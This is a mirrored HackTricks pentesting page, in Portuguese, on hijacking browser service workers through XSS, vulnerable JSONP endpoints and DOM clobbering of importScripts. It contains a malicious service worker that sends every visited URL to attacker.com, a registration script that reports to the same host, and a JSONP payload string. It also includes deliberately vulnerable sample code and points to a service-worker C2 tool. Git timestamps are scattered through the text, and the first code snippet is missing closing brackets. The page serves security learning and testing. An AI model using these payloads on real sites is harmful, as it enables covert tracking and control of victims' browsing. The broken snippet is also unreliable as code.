2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-25 20:43:29 +00:00
hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

134 lines
9.7 KiB
Markdown
Raw Normal View History

# Explorando os Service Workers
2022-12-20 11:25:07 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Informações Básicas
Um **service worker** é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de **processamento offline e em segundo plano**. Informações detalhadas sobre service workers podem ser encontradas [aqui](https://developers.google.com/web/fundamentals/primers/service-workers). Ao explorar service workers em um domínio da web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.
2022-12-20 11:25:07 +00:00
### Verificando a Existência de Service Workers
Service workers existentes podem ser verificados na seção **Service Workers** da guia **Application** nas **Ferramentas do Desenvolvedor**. Outro método é visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para uma visualização mais detalhada.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
### Notificações Push
2022-12-20 11:25:07 +00:00
As **permissões de notificação push** impactam diretamente a capacidade de um **service worker** se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, isso limita o potencial do service worker de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.
2022-12-20 11:25:07 +00:00
## Ataque Criando um Service Worker
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
Para explorar essa vulnerabilidade, você precisa encontrar:
2022-12-20 11:25:07 +00:00
* Uma maneira de **carregar arquivos JS arbitrários** no servidor e um **XSS para carregar o service worker** do arquivo JS carregado
* Uma **solicitação JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um service worker malicioso**.
2022-12-20 11:25:07 +00:00
No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que irá ouvir o evento `fetch` e **enviar para o servidor dos atacantes cada URL acessada** (este é o código que você precisaria **carregar** no **servidor** ou carregar via uma resposta **JSONP vulnerável**):
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
2022-12-20 11:25:07 +00:00
});
```
E este é o código que irá **registrar o worker** (o código que você deveria ser capaz de executar abusando de um **XSS**). Neste caso, uma requisição **GET** será enviada para o servidor dos **atacantes** **notificando** se o **registro** do service worker foi bem-sucedido ou não:
2022-12-20 11:25:07 +00:00
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
2022-12-20 11:25:07 +00:00
});
</script>
```
No caso de abusar de um ponto final JSONP vulnerável, você deve colocar o valor dentro de `var sw`. Por exemplo:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
2023-06-06 18:56:34 +00:00
Existe um **C2** dedicado à **exploração de Service Workers** chamado [**Shadow Workers**](https://shadow-workers.github.io) que será muito útil para abusar dessas vulnerabilidades.
2022-12-20 11:25:07 +00:00
A diretiva de **cache de 24 horas** limita a vida de um **service worker (SW)** malicioso ou comprometido a no máximo 24 horas após a correção de uma vulnerabilidade de XSS, assumindo status de cliente online. Para minimizar a vulnerabilidade, os operadores do site podem reduzir o Tempo de Vida (TTL) do script do SW. Os desenvolvedores também são aconselhados a criar um [**interruptor de desativação do service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para desativação rápida.
2022-12-20 11:25:07 +00:00
## Abusando do `importScripts` em um SW via DOM Clobbering
2022-12-20 11:25:07 +00:00
A função **`importScripts`** chamada de um Service Worker pode **importar um script de um domínio diferente**. Se esta função for chamada usando um **parâmetro que um atacante poderia** modificar, ele seria capaz de **importar um script JS de seu domínio** e obter XSS.
2022-12-20 11:25:07 +00:00
**Isso até mesmo burla as proteções CSP.**
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
**Exemplo de código vulnerável:**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
2022-12-20 11:25:07 +00:00
</script>
```
* **sw.js**
2022-12-20 11:25:07 +00:00
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2023-06-06 18:56:34 +00:00
### Com DOM Clobbering
2022-12-20 11:25:07 +00:00
Para mais informações sobre o que é o DOM Clobbering, consulte:
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Se a URL/domínio que o SW está usando para chamar **`importScripts`** estiver **dentro de um elemento HTML**, é **possível modificá-lo via DOM Clobbering** para fazer o SW **carregar um script do seu próprio domínio**.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
Para um exemplo disso, consulte o link de referência.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
2022-12-20 11:25:07 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-12-20 11:25:07 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>